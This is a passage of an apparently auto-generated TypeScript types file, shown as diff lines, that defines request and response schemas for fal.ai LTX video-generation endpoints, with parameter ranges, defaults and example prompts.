inputFalAiLtxVideo13BDistilledAspectRatioEnum)[keyof typeof inputFalAiLtxVideo13BDistilledAspectRatioEnum] + +/** + * @description Distilled model input + * @type object + */ +export type InputFalAiLtxVideo13BDistilled = { + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxVideo13BDistilledResolutionEnumKey + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight[] + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxVideo13BDistilledAspectRatioEnumKey + /** + * @description Text prompt to guide generation + * @example A cinematic fast-tracking shot follows a vintage, teal camper van as it descends a winding mountain trail. The van, slightly weathered but well-maintained, is the central focus, its retro design emphasized by the motion blur. Medium shot reveals the dusty, ochre trail, edged with vibrant green pine trees. Close-up on the van's tires shows the gravel spraying, highlighting the speed and rugged terrain. Sunlight filters through the trees, casting dappled shadows on the van and the trail. The background is a hazy, majestic mountain range bathed in warm, golden light. The overall mood is adventurous and exhilarating. High resolution 4k movie scene. + * @type string + */ + prompt: string + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number +} + +export type File73Aca89A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideo13BDistilled = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-multiscale-text-to-video.mp4"} + * @type object + */ + video: File73Aca89A + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example A cinematic fast-tracking shot follows a vintage, teal camper van as it descends a winding mountain trail. The van, slightly weathered but well-maintained, is the central focus, its retro design emphasized by the motion blur. Medium shot reveals the dusty, ochre trail, edged with vibrant green pine trees. Close-up on the van's tires shows the gravel spraying, highlighting the speed and rugged terrain. Sunlight filters through the trees, casting dappled shadows on the van and the trail. The background is a hazy, majestic mountain range bathed in warm, golden light. The overall mood is adventurous and exhilarating. High resolution 4k movie scene. + * @type string + */ + prompt: string +} + +export type ExtendVideoConditioningInput = { + /** + * @description Whether to resample the video to a specific FPS. If True, the `target_fps` parameter will be used to resample the video. + * @default false + * @type boolean | undefined + */ + resample_fps?: boolean + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Whether to reverse the video. This is useful for tasks where the video conditioning should be applied in reverse order. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Maximum number of frames to use from the video. If None, all frames will be used. + * @minimum 1 + * @maximum 1441 + * @default 1441 + * @example 1441 + * @type integer | undefined + */ + max_num_frames?: number + /** + * @description Frame number of the video from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number + /** + * @description Whether to limit the number of frames used from the video. If True, the `max_num_frames` parameter will be used to limit the number of frames. + * @default false + * @type boolean | undefined + */ + limit_num_frames?: boolean + /** + * @description Target FPS to resample the video to. Only relevant if `resample_fps` is True. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + target_fps?: number + /** + * @description URL of video to use as conditioning + * @type string + */ + video_url: string +} + +export const inputFalAiLtxVideo13BDistilledExtendResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxVideo13BDistilledExtendResolutionEnumKey = + (typeof inputFalAiLtxVideo13BDistilledExtendResolutionEnum)[keyof typeof inputFalAiLtxVideo13BDistilledExtendResolutionEnum] + +export const inputFalAiLtxVideo13BDistilledExtendAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxVideo13BDistilledExtendAspectRatioEnumKey = + (typeof inputFalAiLtxVideo13BDistilledExtendAspectRatioEnum)[keyof typeof inputFalAiLtxVideo13BDistilledExtendAspectRatioEnum] + +export type InputFalAiLtxVideo13BDistilledExtend = { + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxVideo13BDistilledExtendResolutionEnumKey + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video to be extended. + * @example {"resample_fps":false,"strength":1,"reverse_video":false,"preprocess":false,"start_frame_num":0,"limit_num_frames":false,"conditioning_type":"rgb","max_num_frames":1441,"target_fps":24,"video_url":"https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4"} + * @type object + */ + video: ExtendVideoConditioningInput + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight[] + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxVideo13BDistilledExtendAspectRatioEnumKey + /** + * @description Text prompt to guide generation + * @example Woman walking on a street in Tokyo + * @type string + */ + prompt: string + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number +} + +export type FileA4186E55 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideo13BDistilledExtend = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-v095_extend.mp4"} + * @type object + */ + video: FileA4186E55 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example Woman walking on a street in Tokyo + * @type string + */ + prompt: string +} + +export const inputFalAiLtxVideo13BDistilledImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxVideo13BDistilledImageToVideoResolutionEnumKey = + (typeof inputFalAiLtxVideo13BDistilledImageToVideoResolutionEnum)[keyof typeof inputFalAiLtxVideo13BDistilledImageToVideoResolutionEnum] + +export const inputFalAiLtxVideo13BDistilledImageToVideoAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxVideo13BDistilledImageToVideoAspectRatioEnumKey = + (typeof inputFalAiLtxVideo13BDistilledImageToVideoAspectRatioEnum)[keyof typeof inputFalAiLtxVideo13BDistilledImageToVideoAspectRatioEnum] + +export type InputFalAiLtxVideo13BDistilledImageToVideo = { + /** + * @description Image URL for Image-to-Video task + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxVideo13BDistilledImageToVideoResolutionEnumKey + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight[] + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxVideo13BDistilledImageToVideoAspectRatioEnumKey + /** + * @description Text prompt to guide generation + * @example The astronaut gets up and walks away + * @type string + */ + prompt: string + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number +} + +export type FileC986De3A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideo13BDistilledImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-image-to-video-output.mp4"} + * @type object + */ + video: FileC986De3A + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example The astronaut gets up and walks away + * @type string + */ + prompt: string +} + +export const videoConditioningInputConditioningType = { + rgb: 'rgb', + depth: 'depth', + pose: 'pose', + canny: 'canny', +} as const + +export type VideoConditioningInputConditioningTypeKey = + (typeof videoConditioningInputConditioningType)[keyof typeof videoConditioningInputConditioningType] + +export type VideoConditioningInput = { + /** + * @description Whether to resample the video to a specific FPS. If True, the `target_fps` parameter will be used to resample the video. + * @default false + * @type boolean | undefined + */ + resample_fps?: boolean + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Whether to reverse the video. This is useful for tasks where the video conditioning should be applied in reverse order. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Whether to preprocess the video. If True, the video will be preprocessed to match the conditioning type. This is a no-op for RGB conditioning. + * @default false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Frame number of the video from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number + /** + * @description Whether to limit the number of frames used from the video. If True, the `max_num_frames` parameter will be used to limit the number of frames. + * @default false + * @type boolean | undefined + */ + limit_num_frames?: boolean + /** + * @description Type of conditioning this video provides. This is relevant to ensure in-context LoRA weights are applied correctly, as well as selecting the correct preprocessing pipeline, when enabled. + * @default rgb + * @example rgb + */ + conditioning_type?: VideoConditioningInputConditioningTypeKey | null + /** + * @description Maximum number of frames to use from the video. If None, all frames will be used. + * @minimum 1 + * @maximum 1441 + * @default 1441 + * @example 1441 + * @type integer | undefined + */ + max_num_frames?: number + /** + * @description Target FPS to resample the video to. Only relevant if `resample_fps` is True. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + target_fps?: number + /** + * @description URL of video to use as conditioning + * @type string + */ + video_url: string +} + +export type ImageConditioningInput = { + /** + * @description URL of image to use as conditioning + * @type string + */ + image_url: string + /** + * @description Strength of the conditioning. 0.0 means no conditioning, 1.0 means full conditioning. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Frame number of the image from which the conditioning starts. Must be a multiple of 8. + * @minimum 0 + * @maximum 1440 + * @default 0 + * @type integer | undefined + */ + start_frame_num?: number +} + +export const inputFalAiLtxVideo13BDistilledMulticonditioningResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxVideo13BDistilledMulticonditioningResolutionEnumKey = + (typeof inputFalAiLtxVideo13BDistilledMulticonditioningResolutionEnum)[keyof typeof inputFalAiLtxVideo13BDistilledMulticonditioningResolutionEnum] + +export const inputFalAiLtxVideo13BDistilledMulticonditioningAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', + auto: 'auto', +} as const + +export type InputFalAiLtxVideo13BDistilledMulticonditioningAspectRatioEnumKey = + (typeof inputFalAiLtxVideo13BDistilledMulticonditioningAspectRatioEnum)[keyof typeof inputFalAiLtxVideo13BDistilledMulticonditioningAspectRatioEnum] + +export type InputFalAiLtxVideo13BDistilledMulticonditioning = { + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxVideo13BDistilledMulticonditioningResolutionEnumKey + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Videos to use as conditioning + * @default [] + * @type array | undefined + */ + videos?: VideoConditioningInput[] + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight[] + /** + * @description The constant rate factor (CRF) to compress input media with. Compressed input media more closely matches the model's training data, which can improve motion quality. + * @minimum 0 + * @maximum 51 + * @default 29 + * @example 29 + * @type integer | undefined + */ + constant_rate_factor?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The aspect ratio of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxVideo13BDistilledMulticonditioningAspectRatioEnumKey + /** + * @description URL of images to use as conditioning + * @default [] + * @example [{"image_url":"https://storage.googleapis.com/falserverless/model_tests/ltx/NswO1P8sCLzrh1WefqQFK_9a6bdbfa54b944c9a770338159a113fd.jpg","strength":1,"start_frame_num":0},{"image_url":"https://storage.googleapis.com/falserverless/model_tests/ltx/YAPOGvmS2tM_Krdp7q6-d_267c97e017c34f679844a4477dfcec38.jpg","strength":1,"start_frame_num":120}] + * @type array | undefined + */ + images?: ImageConditioningInput[] + /** + * @description Text prompt to guide generation + * @example A vibrant, abstract composition featuring a person with outstretched arms, rendered in a kaleidoscope of colors against a deep, dark background. The figure is composed of intricate, swirling patterns reminiscent of a mosaic, with hues of orange, yellow, blue, and green that evoke the style of artists such as Wassily Kandinsky or Bridget Riley. The camera zooms into the face striking portrait of a man, reimagined through the lens of old-school video-game graphics. The subject's face is rendered in a kaleidoscope of colors, with bold blues and reds set against a vibrant yellow backdrop. His dark hair is pulled back, framing his profile in a dramatic pose. + * @type string + */ + prompt: string + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number +} + +export type File7Fc0C86B = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideo13BDistilledMulticonditioning = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ltxv-multiconditioning-output.mp4"} + * @type object + */ + video: File7Fc0C86B + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example A vibrant, abstract composition featuring a person with outstretched arms, rendered in a kaleidoscope of colors against a deep, dark background. The figure is composed of intricate, swirling patterns reminiscent of a mosaic, with hues of orange, yellow, blue, and green that evoke the style of artists such as Wassily Kandinsky or Bridget Riley. The camera zooms into the face striking portrait of a man, reimagined through the lens of old-school video-game graphics. The subject's face is rendered in a kaleidoscope of colors, with bold blues and reds set against a vibrant yellow backdrop. His dark hair is pulled back, framing his profile in a dramatic pose. + * @type string + */ + prompt: string +} + +export type InputFalAiLtxVideoImageToVideo = { + /** + * @description The URL of the image to generate the video from. + * @example https://v3b.fal.media/files/b/0a9f096b/K1kmKVbB5XDufFrz1n1cP_50DK8jif.png + * @type string + */ + image_url: string + /** + * @description The prompt to generate the video from. + * @example A lone astronaut in a white spacesuit with gold-tinted visor drifts weightlessly through a sleek, cylindrical corridor of a spaceship. Their movements are slow and graceful as they gently push off the metallic walls with their gloved hands, rotating slightly as they float from right to left across the frame. The corridor features brushed aluminum panels with blue LED strips running along the ceiling, casting a cool glow on the astronaut's suit. Various cables, pipes, and control panels line the walls. The camera follows the astronaut's movement in a handheld style, slightly swaying and adjusting focus, maintaining a medium shot that captures both the astronaut and the corridor's depth. Small particles of dust catch the light as they float in the zero-gravity environment. The scene appears cinematic, with lens flares occasionally reflecting off the metallic surfaces and the astronaut's visor. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'low quality, worst quality, deformed, distorted, disfigured, motion smear, motion artifacts, fused fingers, bad anatomy, weird hand, ugly' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to take. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The guidance scale to use. + * @maximum 10 + * @default 3 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for random number generation. + */ + seed?: number | null +} + +export type File4A0Db7Dc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideoImageToVideo = { + /** + * @description The seed used for random number generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File4A0Db7Dc +} + +export type LoRAWeight945E245D = { + /** + * @description URL or path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null + /** + * @description Scale of the LoRA weight. This is a multiplier applied to the LoRA weight when loading it. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiLtxv13B098DistilledResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxv13B098DistilledResolutionEnumKey = + (typeof inputFalAiLtxv13B098DistilledResolutionEnum)[keyof typeof inputFalAiLtxv13B098DistilledResolutionEnum] + +export const inputFalAiLtxv13B098DistilledAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', +} as const + +export type InputFalAiLtxv13B098DistilledAspectRatioEnumKey = + (typeof inputFalAiLtxv13B098DistilledAspectRatioEnum)[keyof typeof inputFalAiLtxv13B098DistilledAspectRatioEnum] + +/** + * @description Distilled model input + * @type object + */ +export type InputFalAiLtxv13B098Distilled = { + /** + * @description The compression ratio for tone mapping. This is used to compress the dynamic range of the video to improve visual quality. A value of 0.0 means no compression, while a value of 1.0 means maximum compression. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + tone_map_compression_ratio?: number + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Resolution of the generated video. + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiLtxv13B098DistilledResolutionEnumKey + /** + * @description Whether to use a detail pass. If True, the model will perform a second pass to refine the video and enhance details. This incurs a 2.0x cost multiplier on the base price. + * @default false + * @example false + * @type boolean | undefined + */ + enable_detail_pass?: boolean + /** + * @description The number of frames in the video. + * @minimum 9 + * @maximum 1441 + * @default 121 + * @example 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps during the second pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + second_pass_num_inference_steps?: number + /** + * @description Whether to reverse the video. + * @default false + * @example false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description The number of inference steps to skip in the initial steps of the second pass. By skipping some steps at the beginning, the second pass can focus on smaller details instead of larger changes. + * @minimum 1 + * @maximum 11 + * @default 5 + * @example 5 + * @type integer | undefined + */ + second_pass_skip_initial_steps?: number + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtxv13B098DistilledAspectRatioEnumKey + /** + * @description The frame rate of the video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @example 24 + * @type integer | undefined + */ + frame_rate?: number + /** + * @description Negative prompt for generation + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The factor for adaptive instance normalization (AdaIN) applied to generated video chunks after the first. This can help deal with a gradual increase in saturation/contrast in the generated video by normalizing the color distribution across the video. A high value will ensure the color distribution is more consistent across the video, while a low value will allow for more variation in color distribution. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + temporal_adain_factor?: number + /** + * @description Whether to expand the prompt using a language model. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description LoRA weights to use for generation + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight945E245D[] + /** + * @description Number of inference steps during the first pass. + * @minimum 2 + * @maximum 12 + * @default 8 + * @example 8 + * @type integer | undefined + */ + first_pass_num_inference_steps?: number + /** + * @description Text prompt to guide generation + * @example A cinematic fast-tracking shot follows a vintage, teal camper van as it descends a winding mountain trail. The van, slightly weathered but well-maintained, is the central focus, its retro design emphasized by the motion blur. Medium shot reveals the dusty, ochre trail, edged with vibrant green pine trees. Close-up on the van's tires shows the gravel spraying, highlighting the speed and rugged terrain. Sunlight filters through the trees, casting dappled shadows on the van and the trail. The background is a hazy, majestic mountain range bathed in warm, golden light. The 